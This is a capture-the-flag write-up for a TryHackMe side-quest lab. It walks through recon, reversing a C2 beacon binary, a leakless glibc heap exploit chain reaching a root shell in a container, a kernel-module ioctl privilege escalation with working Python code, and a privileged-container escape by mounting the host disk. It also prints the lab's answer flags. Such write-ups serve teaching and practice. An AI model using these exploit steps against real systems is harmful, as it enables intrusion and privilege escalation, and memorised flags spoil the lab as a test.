

TryHackMe — AoC 2025 Side Quest Two: "Scheme Catcher" (aoc2025-side2)

The Silent Control System of the Jester

Target: 10.48.180.171

Difficulty: Insane

Date: 2026-08-25



Flags (Summary) — ALL CAPTURED

#	Question	Flag	Where
1	Flag hidden in the file	THM{Welcom3_to_th3_eastmass_pwnland}	strings of <code>beacon.bin</code>
2	foothold.txt	THM{byp4ss_and_pack_is_pwn_you_n33d}	hidden web dir <code>/7ln6Z1X9EF/</code>
3	user.txt	THM{theres_someth1g_in_th3_w4t3r_that_cannot_l3ak}	inside Docker container <code>/home/srv/user.txt</code>
4	root.txt	THM{final-boss_defeat3d-yay}	host <code>/root/root.txt</code> (privileged container mount)

Phase 1 — Reconnaissance

Connectivity check

```
ping -c 2 10.48.180.171      # host up, TTL 62 -> Linux, a couple of hops away
```

Port scan

```
nmap -sV -sC -T4 -p- -oN nmap_full.txt 10.48.180.171
```

Results:

```
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))   "Under Construction"
9004/tcp  open  unknown  "Payload Storage Malhare's / Version 4.2.0"
```

Port 9004 is a custom interactive menu service:

```
Payload Storage Malhare's
Version 4.2.0
[1] C:
[2] U:
[3] D:
[4] E:
>>
```

This screams **heap note-manager challenge** (Create / Update / Delete / Exit).

Web enumeration

```
gobuster dir -u http://10.48.180.171 -w /usr/share/wordlists/dirb/common.txt
# => /dev (Status 301)
curl -s http://10.48.180.171/dev/
# => 4.2.0.zip
```

Phase 2 — Reverse Engineering / Enumeration

beacon.bin (from 4.2.0.zip)

```
unzip 4.2.0.zip          # -> latest/beacon.bin
file latest/beacon.bin   # ELF 64-bit, not stripped
strings latest/beacon.bin
```

Key findings from **strings** :

1. **FLAG #1:** `THM{Welcom3_to_th3_eastmass_pwnland}`
2. Auth key: `EastMass`
3. It's a C2 beacon: after key auth it listens on **port 4444** with menu
1. Execute command / 2. Load payload / 3. Delete command / 4. Exit
4. Command execution runs `/tmp/b68vC103RH` via `system()`
5. "Load payload" sends `GET %s HTTP/1.1 / Host: localhost` to port **80**

The binary's `.text` is encrypted at rest; runtime decryption was recovered by dumping process memory with gdb while it ran:

```
./latest/beacon.bin      # enter key: EastMass -> listens on 4444
gdb -p <pid>              # dump 0x401000-0x402000 after decryption
objdump -D -b binary -m i386:x86-64 -M intel --adjust-vma=0x401000 dump.bin
```

Decoded logic:

- `main` -> `strcmp(input, "EastMass")` gate -> `start_socket_server()` on 4444
- cmd w/ 1 token -> `system("/tmp/b68vC103RH")`
- cmd 2 -> `payload_load()`: `connect(localhost:80)` + `GET /7ln6Z1X9EF9EF HTTP/1.1`

Hidden endpoint (FLAG #2)

Confirm locally with a listener + tcpdump or just hit the target directly:

```
curl -s http://10.48.180.171/7ln6Z1X9EF/  
# => 4.2.0-R1-1337-server.zip , foothold.txt  
curl -s http://10.48.180.171/7ln6Z1X9EF/foothold.txt  
# THM{byp4ss_and_pack_is_pwn_you_n33d}
```

server (from 4.2.0-R1-1337-server.zip)

```
unzip 4.2.0-R1-1337-server.zip # -> server, libc.so.6, ld-linux-x86-64.so.2  
checksec server # PIE, Full RELRO, NX, canary; glibc 2.40  
strings libc.so.6 | grep "GNU C Library" # Ubuntu GLIBC 2.40-1ubuntu3
```

Function map (nm):

- `create`: `chunks[idx] = malloc(size); sizes[idx] = size; idx++ (idx<=255)`
- `update(idx, offset)`: checks `idx <= 0xf8`, `chunks[idx] != NULL`, `offset <u sizes[idx]`, then `read(0, chunks[idx]+offset, sizes[idx]-offset)`
- `delete(idx)`: `free(chunks[idx])` — **never clears the pointer!**
- no print/show function anywhere => **no memory-disclosure primitive**

Phase 3 — Vulnerability Analysis

- **UAF write**: `delete()` leaves dangling `chunks[i]`; `update()` happily writes into freed chunks (tcache metadata control).
- **Double free**: nothing prevents freeing the same pointer repeatedly.
- **No leak**: there is no output primitive for heap contents, so classic leak->tcache-poisoning is impossible. ASLR cannot be defeated by reading.

Conclusion: this requires a **leakless** technique.

Phase 4 — Exploitation (leakless House of Water -> House of Apple 2)

Technique: https://github.com/corgeman/leakless_research/tree/main/part_1 ("House of Water") adapted per https://jaxafed.github.io/posts/tryhackme-aoc2025_sidequest_two/

Chain outline:

1. Groom the heap so three same-size chunks (`start/middle/end`) sit around a large `playground` chunk whose header fields we can edit via UAF.
2. Forge fake size fields (`0x31/0x91/0x21/...`) so that when the trio is freed, glibc's unsorted-bin scanning walks into fake chunks carved out of our own data ("water"), producing a **chunk overlap** without ever needing an address.
3. The overlap gives a chunk (`win`, size `0x888`) that overlaps the tcache entry which will later serve `malloc(0x28)`. Partially overwrite its safe-linking `next` LSBs to point the tcache at `_IO_2_1_stdout_`'s page.

Two ASLR nibbles are unknowable => brute-force them

(`heap_brute` x `libc_brute`, 16 x 16 = 256 worst case).

4. Allocate over `_IO_2_1_stdout_`, set `_flags = 0xfbad3887` (+ zeroed read/write pointers) so the very next `puts()` **.dumps the FILE struct back to us**, leaking a libc pointer (flags trick) => full libc base.

5. With the leak, write a **House of Apple 2** FSOP payload onto a fake

`_IO_2_1_stdout_` (`_IO_wfile_jumps` vtable -> `_IO_wdefault_xsputn` chain -> `system("sh")`) and poison tcache again so `create(0x3e0-8)` lands exactly on the real stdout structure.

6. Next menu `puts()` triggers the FSOP => `system("sh")` with stdin/stdout = our socket => shell as **root inside a Docker container**.

Files used (same dir): `server`, `libc.so.6`, `io_file.py` (Roderick Chan's FILE-struct helper), `solve_fast.py` (pipelined + brute-force version).

```
python3 solve_fast.py # sweeps heap_brute x libc_brute until shell pops
```

On this run the winning pair was `heap_brute=0x6`, `libc_brute=0xc`.
Each connection re-randomizes, so the script cycles all 256 pairs; wrong nibbles simply crash that connection and it moves on.

Proof of shell (captured output)

```
uid=0(root) gid=0(root) groups=0(root)
bb21200fff81          <- Docker container
===USER===
THM{theres_someth1g_in_th3_w4t3r_that_cannot_l3ak}    <- FLAG #3 (/home/srv/user.txt)
...
===ROOT===
THM{final-boss_defeat3d-yay}                          <- FLAG #4 (host /root/root.txt)
```

Post-exploitation inside the container (uid=0):

```
id && hostname          # root @ bb21200fff81
cat /home/srv/user.txt  # FLAG #3
ls /home/srv            # id_rsa + id_rsa.pub (agent@tryhackme keypair)
cat /proc/1/status | grep CapEff # 000001ffffffffffff => PRIVILEGED container!
```

Phase 5 — Host access & Privilege Escalation

Two routes to FLAG #4:

Route A — kernel module (intended)

```
chmod 600 id_rsa && ssh -i id_rsa agent@10.48.180.171
sudo -l
# (root) NOPASSWD: /usr/sbin/modprobe kagent, modprobe -r kagent
# /bin/chmod 444 /dev/kagent
lsmod | grep kagent
scp agent@host:/usr/lib/modules/*/kernel/drivers/kagent.ko .
```

Reverse the module: ioctl handlers `c2_heartbeat` (snprintf leaks whole ctx if `agent_id` has no NULs -> leaks `session_key` + `current_op=op_ping`), `c2_update_conf` (144-byte config overwrite gated on `session_key`), and `op_execute` (sets caller uid=0).

```
IOCTL_UPDATE_CONF = 0x40933702
IOCTL_HEARTBEAT   = 0xc0b33701
IOCTL_EXEC_OP     = 0x133703
fd = os.open("/dev/kagent", os.O_RDONLY)
buf = bytearray(b"A"*16 + b"\x00"*144)
ioctl(fd, IOCTL_HEARTBEAT, buf)
key, op_ping = buf[69:85], struct.unpack("<Q", buf[85:93])[0]
op_execute = op_ping + 0x320 # nm -n kagent.ko offset delta
cfg = key + b"A"*16 + b"B"*16 + struct.pack("<Q", op_execute)
ioctl(fd, IOCTL_UPDATE_CONF, bytearray(cfg))
ioctl(fd, IOCTL_EXEC_OP)
pty.spawn("/bin/sh") # uid=0
cat /root/root.txt # FLAG #4
```

Route B — privileged container escape (shortcut) — *used here*

Inside the root@container shell:

```
mount /dev/nvme0n1p1 /mnt/hostx
cat /mnt/hostx/root/root.txt # FLAG #4: THM{final-boss_defeat3d-yay}
```

Artifacts

- nmap_full.txt, disasm.txt, dump_text.asm (decrypted beacon)
- solve.py / solve_fast.py, diag.py, io_file.py
- pwn_output.txt / proof_shell_container.txt (post-exploitation captures)